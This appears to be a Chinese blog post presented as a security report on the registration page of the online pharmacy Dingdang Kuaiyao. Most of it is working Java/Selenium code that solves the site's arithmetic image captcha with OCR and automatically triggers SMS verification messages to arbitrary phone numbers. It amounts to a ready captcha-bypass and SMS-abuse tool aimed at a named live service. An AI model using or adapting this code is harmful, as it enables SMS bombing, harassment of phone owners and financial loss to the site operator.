【注册/登录安全分析报告:叮当快药】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 叮当快药 PC 注册入口

简介:叮当快药是叮当健康集团旗下的一家互联网“医疗+医药”健康到家服务平台,创立“网订店送”线上线下一体化运营模式,搭建专业医生团队、执业药师团队,与合作的线下药房,为用户提供7*24小时的在线健康咨询、用药指导、核心区域平均28分钟送药到家服务,解决用户“急、懒、夜、专、私”的健康咨询买药痛点。

在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为数字加减运算图形验证方式,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互



	private static String INDEX_URL = "https://www.ddky.com/perCenter.html";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);

			// 1 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("tel1"), 1);
			phoneElemet.sendKeys(phone);

			// 2 获取图形验证码
			Thread.sleep(1 * 1000);
			String imgCode = null, base64Str;
			byte[] imgByte = null;
			BufferedImage fullBI;
			String logic = "";
			WebElement imgElement = driver.findElement(By.className("pic-check"));
			boolean isPlus = false;
			byte[] logicByte = null, n1Byte, n2Byte;
			long t = System.currentTimeMillis();
			for (int i = 0; i < 6; i++) {
				t = System.currentTimeMillis();
				base64Str = imgElement.getAttribute("src");
				imgByte = (base64Str != null) ? GetImage.imgStrToByte(base64Str) : null;
				fullBI = ImageIO.read(new ByteArrayInputStream(imgByte));
				n1Byte = picCut(fullBI, 80, 22);
				n2Byte = picCut(fullBI, 138, 22);
				logicByte = picCut(fullBI, 99, 40);
				String n1 = DigitFormat.getDigit(ddddOcr.getImgCode(n1Byte));
				String n2 = DigitFormat.getDigit(ddddOcr.getImgCode(n2Byte));
				logic = ddddOcr.getImgCode(logicByte);
				isPlus = logic != null && (logic.contains("加") || logic.contains("如") || logicSet.contains(logic));
				if (logic != null && logic.length() > 0) {
					if (isPlus)
						imgCode = logic(n1, "plus", n2);
					else
						imgCode = logic(n1, logic, n2);
				} else {
					imgCode = null;
					ddddOcr.saveFile("Ddky/", "OP_" + t, logicByte);
				}
				System.out.println("n1=" + n1 + ",logic=" + logic + ",n2=" + n2);
				if (imgCode != null && imgCode.length() > 0)
					break;
				imgElement.click();
				Thread.sleep(1 * 1000);
			}

			if (imgCode == null || imgCode.length() < 1) {
				return null;
			}
			// 3 输入识别出来的图形验证码
			WebElement codeInputElement = driver.findElement(By.id("pick"));
			codeInputElement.sendKeys(imgCode);

			// 4 获取验证码
			WebElement sendElement = driver.findElement(By.xpath("//span[@class='sendNum fr']"));
			sendElement.click();

			Thread.sleep(1000);
			StringBuffer alertSb = new StringBuffer();
			ChromeDriverManager.isAlertPresent(driver, alertSb);
			Thread.sleep(2000);
			String gtInfo = alertSb.toString();
			boolean isSend = gtInfo != null && gtInfo.contains("验证码已经发送");
			gtInfo = sendElement.getText();

			retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
			if (isSend || gtInfo != null && gtInfo.contains("剩余")) {
				retEntity.setRet(0);
				if (isPlus)
					ddddOcr.saveFile("Ddky/plus/", "加_" + t, logicByte);
				else {
					ddddOcr.saveFile("Ddky/sub/", "减_" + t, logicByte);
				}
				return retEntity;
			} else {
				if (isPlus) {
					ddddOcr.saveFile("Ddky/plus/", "加_" + t, logicByte);
				} else {
					ddddOcr.saveFile("Ddky/", logic + "_" + t, logicByte);
				}
				System.out.println("gtInfo=" + gtInfo);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			if (driver != null)
				driver.manage().deleteAllCookies();
		}
	}

	public static final Set<String> logicSet = new HashSet<String>() {
		private static final long serialVersionUID = -4054136023490781886L;
		{
			add("b");
			add("d");
			add("g");
			add("m");
			add("M");
			add("u");
			add("风");
			add("挪");
			add("如");
			add("帆");
			add("挑");
			add("加");
			add("业");
			add("邮");
			add("此");
			add("爪");
			add("却");
			add("加m");
			add("规");
			add("耻");
			add("州");
			add("期");
			add("机");
			add("址");
			add("抓");
			add("抑");
			add("邯");
			add("虾");
			add("川");
			add("划");
			add("娜");
		}
	};

	/**
	 * 算术运算
	 * @param n1
	 * @param logic
	 * @param n2
	 * @return
	 */
	private String logic(String n1, String logic, String n2) {
		if (n1 != null && n1.length() > 0 && n2 != null && n2.length() > 0) {
			Integer r;
			if (logic.equals("plus")) {
				r = Integer.parseInt(n1) + Integer.parseInt(n2);
			} else {
				r = Integer.parseInt(n1) - Integer.parseInt(n2);
			}
			return String.valueOf(r);
		}
		return null;
	}

	private byte[] picCut(BufferedImage fullBI, int startX, int width) {
		try {
			BufferedImage N1 = fullBI.getSubimage(startX, 0, width, fullBI.getHeight());
			ByteArrayOutputStream out = new ByteArrayOutputStream();
			ImageIO.write(N1, "png", out);
			byte[] mBytes = out.toByteArray();
			return mBytes;
		} catch (Exception e) {
			return null;
		}
	}


	

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {
		return callJsById(driver, id, null);
	}

	public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
		String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
		js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
		js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
		js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
		js += "let base64String = c.toDataURL();return base64String;";
		String src = ((JavascriptExecutor) driver).executeScript(js).toString();
		String base64Str = src.substring(src.indexOf(",") + 1);
		if (base64 != null) {
			base64.append(base64Str);
		}
		byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
		return vBytes;
	}


3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("ddddUrl=" + ddddUrl);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);

			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10000);
			con.setReadTimeout(10000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

			out = con.getOutputStream();

			if (bigImage != null && bigImage.length > 0) {
				out.write(boundarybytesString.getBytes("UTF-8"));
				String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
				paramString += "Content-Type: application/octet-stream\r\n\r\n";
				out.write(paramString.getBytes("UTF-8"));
				out.write(bigImage);
			}

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));

			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}
	

	public void saveFile(String factory, String imgCode, byte[] imgByte) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File ocrFile = new File(basePath + imgCode + ".png");
			FileUtils.writeByteArrayToFile(ocrFile, imgByte);
		} catch (Exception e) {
			logger.error("saveFile() " + e.toString());
		}
	}


4. 图形OCR识别结果:

在这里插入图片描述在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

叮当快药是叮当健康集团旗下的一家互联网“医疗+医药”健康到家服务平台,创立“网订店送”线上线下一体化运营模式,搭建专业医生团队、执业药师团队,与合作的线下药房,为用户提供7*24小时的在线健康咨询、用药指导、核心区域平均28分钟送药到家服务,解决用户“急、懒、夜、专、私”的健康咨询买药痛点,作为在线售卖药品龙头企业, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值